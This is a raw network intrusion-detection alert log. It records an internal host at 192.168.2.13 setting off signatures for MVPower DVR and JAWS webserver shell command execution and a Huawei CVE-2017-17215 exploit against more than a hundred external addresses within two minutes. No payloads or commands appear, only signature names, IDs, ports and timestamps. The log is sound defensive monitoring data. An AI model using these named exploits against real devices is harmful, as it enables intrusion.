Source Port:	46900
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 51.195.220.184

Timestamp:	04/14/24-04:00:19.351444
SID:	2025883
Source Port:	56946
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.87.36.227

Timestamp:	04/14/24-04:00:21.665958
SID:	2030092
Source Port:	60332
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 20.82.227.179

Timestamp:	04/14/24-04:01:30.440565
SID:	2030092
Source Port:	36070
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.19.80.51

Timestamp:	04/14/24-04:00:14.285914
SID:	2025883
Source Port:	37134
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 182.16.253.51

Timestamp:	04/14/24-04:01:53.805608
SID:	2025883
Source Port:	53388
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 191.85.52.98

Timestamp:	04/14/24-04:00:22.740168
SID:	2025883
Source Port:	48156
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 185.48.5.6

Timestamp:	04/14/24-04:01:36.497567
SID:	2025883
Source Port:	54564
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 54.240.187.152

Timestamp:	04/14/24-04:01:42.629506
SID:	2025883
Source Port:	49190
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 198.137.225.222

Timestamp:	04/14/24-04:01:18.333677
SID:	2025883
Source Port:	49134
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 92.122.35.7

Timestamp:	04/14/24-04:00:26.880911
SID:	2025883
Source Port:	55418
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 172.98.167.125

Timestamp:	04/14/24-04:00:30.671371
SID:	2025883
Source Port:	36516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 51.255.0.122

Timestamp:	04/14/24-04:00:27.627857
SID:	2025883
Source Port:	54108
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.217.226.8

Timestamp:	04/14/24-04:00:37.711223
SID:	2030092
Source Port:	42408
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 219.231.168.103

Timestamp:	04/14/24-04:00:15.103103
SID:	2030092
Source Port:	55122
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 44.212.229.33

Timestamp:	04/14/24-04:01:36.626313
SID:	2025883
Source Port:	54246
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.0.226.142

Timestamp:	04/14/24-04:01:18.375162
SID:	2025883
Source Port:	33230
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 172.66.201.240

Timestamp:	04/14/24-04:00:24.363824
SID:	2030092
Source Port:	48036
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 184.26.16.67

Timestamp:	04/14/24-04:00:30.767284
SID:	2025883
Source Port:	32998
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 94.252.127.204

Timestamp:	04/14/24-04:01:17.864348
SID:	2030092
Source Port:	54970
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.39.138.2

Timestamp:	04/14/24-04:01:37.529345
SID:	2030092
Source Port:	48902
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 210.154.254.210

Timestamp:	04/14/24-04:00:33.544121
SID:	2025883
Source Port:	49226
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.121.21.20

Timestamp:	04/14/24-04:01:46.778652
SID:	2030092
Source Port:	45300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.215.200.44

Timestamp:	04/14/24-04:00:55.619403
SID:	2030092
Source Port:	54062
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 114.55.125.176

Timestamp:	04/14/24-04:00:29.705745
SID:	2025883
Source Port:	51830
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 147.182.173.40

Timestamp:	04/14/24-04:01:50.611430
SID:	2025883
Source Port:	41156
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.42.132.46

Timestamp:	04/14/24-04:00:27.665307
SID:	2030092
Source Port:	45736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 221.113.168.50

Timestamp:	04/14/24-04:00:36.409304
SID:	2030092
Source Port:	33488
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.41.236.167

Timestamp:	04/14/24-04:01:42.373304
SID:	2025883
Source Port:	38606
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.6.222.214

Timestamp:	04/14/24-04:01:41.947666
SID:	2030092
Source Port:	53364
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 185.145.247.192

Timestamp:	04/14/24-04:01:53.753769
SID:	2025883
Source Port:	54334
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.58.229.127

Timestamp:	04/14/24-04:01:35.714018
SID:	2025883
Source Port:	48048
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 38.38.20.188

Timestamp:	04/14/24-04:01:22.397413
SID:	2025883
Source Port:	33596
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.97.130

Timestamp:	04/14/24-04:01:20.764935
SID:	2829579
Source Port:	40918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 108.156.122.28

Timestamp:	04/14/24-04:00:33.399299
SID:	2030092
Source Port:	40566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 184.28.129.186

Timestamp:	04/14/24-04:00:26.442836
SID:	2025883
Source Port:	50014
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.20.202.107

Timestamp:	04/14/24-04:00:26.613412
SID:	2025883
Source Port:	47068
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 154.215.156.78

Timestamp:	04/14/24-04:01:45.623725
SID:	2025883
Source Port:	60788
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 208.88.74.79

Timestamp:	04/14/24-04:01:15.342345
SID:	2025883
Source Port:	40824
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 72.10.161.193

Timestamp:	04/14/24-04:01:39.453993
SID:	2030092
Source Port:	39836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.224.121.76

Timestamp:	04/14/24-04:00:52.053445
SID:	2025883
Source Port:	54068
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 107.181.160.99

Timestamp:	04/14/24-04:01:18.265451
SID:	2030092
Source Port:	52432
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 202.205.109.113

Timestamp:	04/14/24-04:01:28.429726
SID:	2030092
Source Port:	46174
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 20.29.183.40

Timestamp:	04/14/24-04:00:46.577069
SID:	2025883
Source Port:	59400
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 60.204.205.119

Timestamp:	04/14/24-04:00:33.595544
SID:	2025883
Source Port:	51226
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 186.7.216.19

Timestamp:	04/14/24-04:00:39.603267
SID:	2025883
Source Port:	48088
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.179.229.31

Timestamp:	04/14/24-04:01:45.239127
SID:	2025883
Source Port:	42036
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 190.167.7.136

Timestamp:	04/14/24-04:00:14.983482
SID:	2030092
Source Port:	35144
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.76.80.18

Timestamp:	04/14/24-04:01:37.603978
SID:	2030092
Source Port:	60618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 158.199.131.36

Timestamp:	04/14/24-04:00:38.635696
SID:	2030092
Source Port:	42282
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 5.39.219.157

Timestamp:	04/14/24-04:00:27.644950
SID:	2025883
Source Port:	36748
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 46.167.65.5

Timestamp:	04/14/24-04:01:24.849986
SID:	2025883
Source Port:	55138
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 173.237.181.176

Timestamp:	04/14/24-04:00:34.397214
SID:	2030092
Source Port:	49624
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 84.197.223.154

Timestamp:	04/14/24-04:00:49.343669
SID:	2030092
Source Port:	54978
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.212.19.165

Timestamp:	04/14/24-04:00:29.340778
SID:	2030092
Source Port:	46326
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 54.255.12.156

Timestamp:	04/14/24-04:01:18.606015
SID:	2030092
Source Port:	35812
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 125.229.13.9

Timestamp:	04/14/24-04:00:22.693454
SID:	2030092
Source Port:	53220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 123.56.68.237

Timestamp:	04/14/24-04:01:08.634582
SID:	2030092
Source Port:	53158
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.3.52.213

Timestamp:	04/14/24-04:00:14.195661
SID:	2025883
Source Port:	42090
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 186.39.211.134

Timestamp:	04/14/24-04:01:15.463506
SID:	2025883
Source Port:	50490
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 38.238.70.100

Timestamp:	04/14/24-04:00:45.790530
SID:	2030092
Source Port:	47190
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.154.238.239

Timestamp:	04/14/24-04:01:42.173534
SID:	2030092
Source Port:	40120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 63.160.189.199

Timestamp:	04/14/24-04:00:13.969384
SID:	2030092
Source Port:	50872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.98.233.87

Timestamp:	04/14/24-04:00:37.791640
SID:	2030092
Source Port:	44084
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.41.225.135

Timestamp:	04/14/24-04:01:15.421980
SID:	2025883
Source Port:	36688
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 103.140.234.82

Timestamp:	04/14/24-04:01:45.397004
SID:	2030092
Source Port:	52842
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 117.180.238.129

Timestamp:	04/14/24-04:01:47.166370
SID:	2025883
Source Port:	53288
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 209.95.33.158

Timestamp:	04/14/24-04:00:49.209172
SID:	2025883
Source Port:	47000
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 69.16.209.2

Timestamp:	04/14/24-04:01:36.413072
SID:	2025883
Source Port:	41320
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.9.52.207

Timestamp:	04/14/24-04:00:14.003839
SID:	2025883
Source Port:	59400
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 69.163.139.88

Timestamp:	04/14/24-04:00:19.224875
SID:	2025883
Source Port:	41430
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 185.217.243.246

Timestamp:	04/14/24-04:01:15.446505
SID:	2025883
Source Port:	49074
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 44.215.140.132

Timestamp:	04/14/24-04:01:32.227259
SID:	2030092
Source Port:	39758
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 209.252.101.160

Timestamp:	04/14/24-04:01:42.178479
SID:	2025883
Source Port:	33744
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 82.165.23.33

Timestamp:	04/14/24-04:00:23.607104
SID:	2025883
Source Port:	39366
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.77.163.67

Timestamp:	04/14/24-04:00:30.793944
SID:	2025883
Source Port:	43656
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 35.162.207.131

Timestamp:	04/14/24-04:01:04.329418
SID:	2030092
Source Port:	37232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.25.155.177

Timestamp:	04/14/24-04:01:11.166130
SID:	2030092
Source Port:	60726
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 208.87.99.128

Timestamp:	04/14/24-04:00:46.467661
SID:	2030092
Source Port:	52094
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.55.65.9

Timestamp:	04/14/24-04:01:42.011188
SID:	2030092
Source Port:	52016
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 137.59.86.100

Timestamp:	04/14/24-04:00:29.842474
SID:	2025883
Source Port:	37864
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.9.126.72

Timestamp:	04/14/24-04:01:03.916709
SID:	2025883
Source Port:	54860
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 149.100.159.185

Timestamp:	04/14/24-04:01:22.742859
SID:	2030092
Source Port:	53044
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 178.242.138.104

Timestamp:	04/14/24-04:00:15.446161
SID:	2025883
Source Port:	47118
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 192.67.164.203

Timestamp:	04/14/24-04:01:24.505786
SID:	2030092
Source Port:	36866
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 38.154.37.126

Timestamp:	04/14/24-04:01:30.376214
SID:	2025883
Source Port:	36214
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 54.75.180.208

Timestamp:	04/14/24-04:01:15.426300
SID:	2030092
Source Port:	52042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 186.7.208.72

Timestamp:	04/14/24-04:00:39.604665
SID:	2025883
Source Port:	41870
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 38.91.107.114

Timestamp:	04/14/24-04:01:46.694372
SID:	2030092
Source Port:	48688
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 54.214.93.16

Timestamp:	04/14/24-04:00:39.537951
SID:	2030092
Source Port:	57014
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.178.93.240

Timestamp:	04/14/24-04:00:19.606973
SID:	2025883
Source Port:	54908
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 47.92.94.115

Timestamp:	04/14/24-04:01:11.685543
SID:	2030092
Source Port:	60590
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 114.142.224.216

Timestamp:	04/14/24-04:01:11.564771
SID:	2025883
Source Port:	60182
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 65.9.75.93

Timestamp:	04/14/24-04:01:37.609944
SID:	2025883
Source Port:	59038
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 119.204.215.178

Timestamp:	04/14/24-04:00:58.472287
SID:	2030092
Source Port:	43092
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 193.205.7.221

Timestamp:	04/14/24-04:01:37.635352
SID:	2025883
Source Port:	39942
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 147.47.56.57

Timestamp:	04/14/24-04:00:26.885793
SID:	2030092
Source Port:	36766
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 173.232.58.94

Timestamp:	04/14/24-04:01:24.302011
SID:	2025883
Source Port:	60232
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.212.202.146

Timestamp:	04/14/24-03:59:56.058605
SID:	2030092
Source Port:	47030
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 34.36.243.55

Timestamp:	04/14/24-04:01:50.543352
SID:	2025883
Source Port:	57304
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 156.205.0.24

Timestamp:	04/14/24-04:01:32.790153
SID:	2030092
Source Port:	39008
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 39.106.2.90

Timestamp:	04/14/24-04:01:15.437210
SID:	2030092
Source Port:	54376
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.21.58.38

Timestamp:	04/14/24-04:01:49.372231
SID:	2025883
Source Port:	50924
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 191.81.77.161

Timestamp:	04/14/24-04:00:33.301692
SID:	2030092
Source Port:	57818
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 185.164.186.63

Timestamp:	04/14/24-04:00:49.344836
SID:	2025883
Source Port:	53554
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 141.17.83.105

Timestamp:	04/14/24-04:01:17.672534
SID:	2030092
Source Port:	44628
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 34.161.249.238

Timestamp:	04/14/24-04:01:52.328261
SID:	2025883
Source Port:	51048
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.224.94.20

Timestamp:	04/14/24-04:00:55.418937
SID:	2030092
Source Port:	47834
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 47.49.142.114

Timestamp:	04/14/24-04:01:28.545918
SID:	2030092
Source Port:	40262
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 153.122.144.93

Timestamp:	04/14/24-04:00:55.406095
SID:	2025883
Source Port:	43780
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.212.222.199

Timestamp:	04/14/24-04:01:50.100126
SID:	2030092
Source Port:	38248
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 95.100.233.80

Timestamp:	04/14/24-04:00:45.476527
SID:	2025883
Source Port:	40878
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 34.36.39.20

Timestamp:	04/14/24-04:00:43.057087
SID:	2030092
Source Port:	45514
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

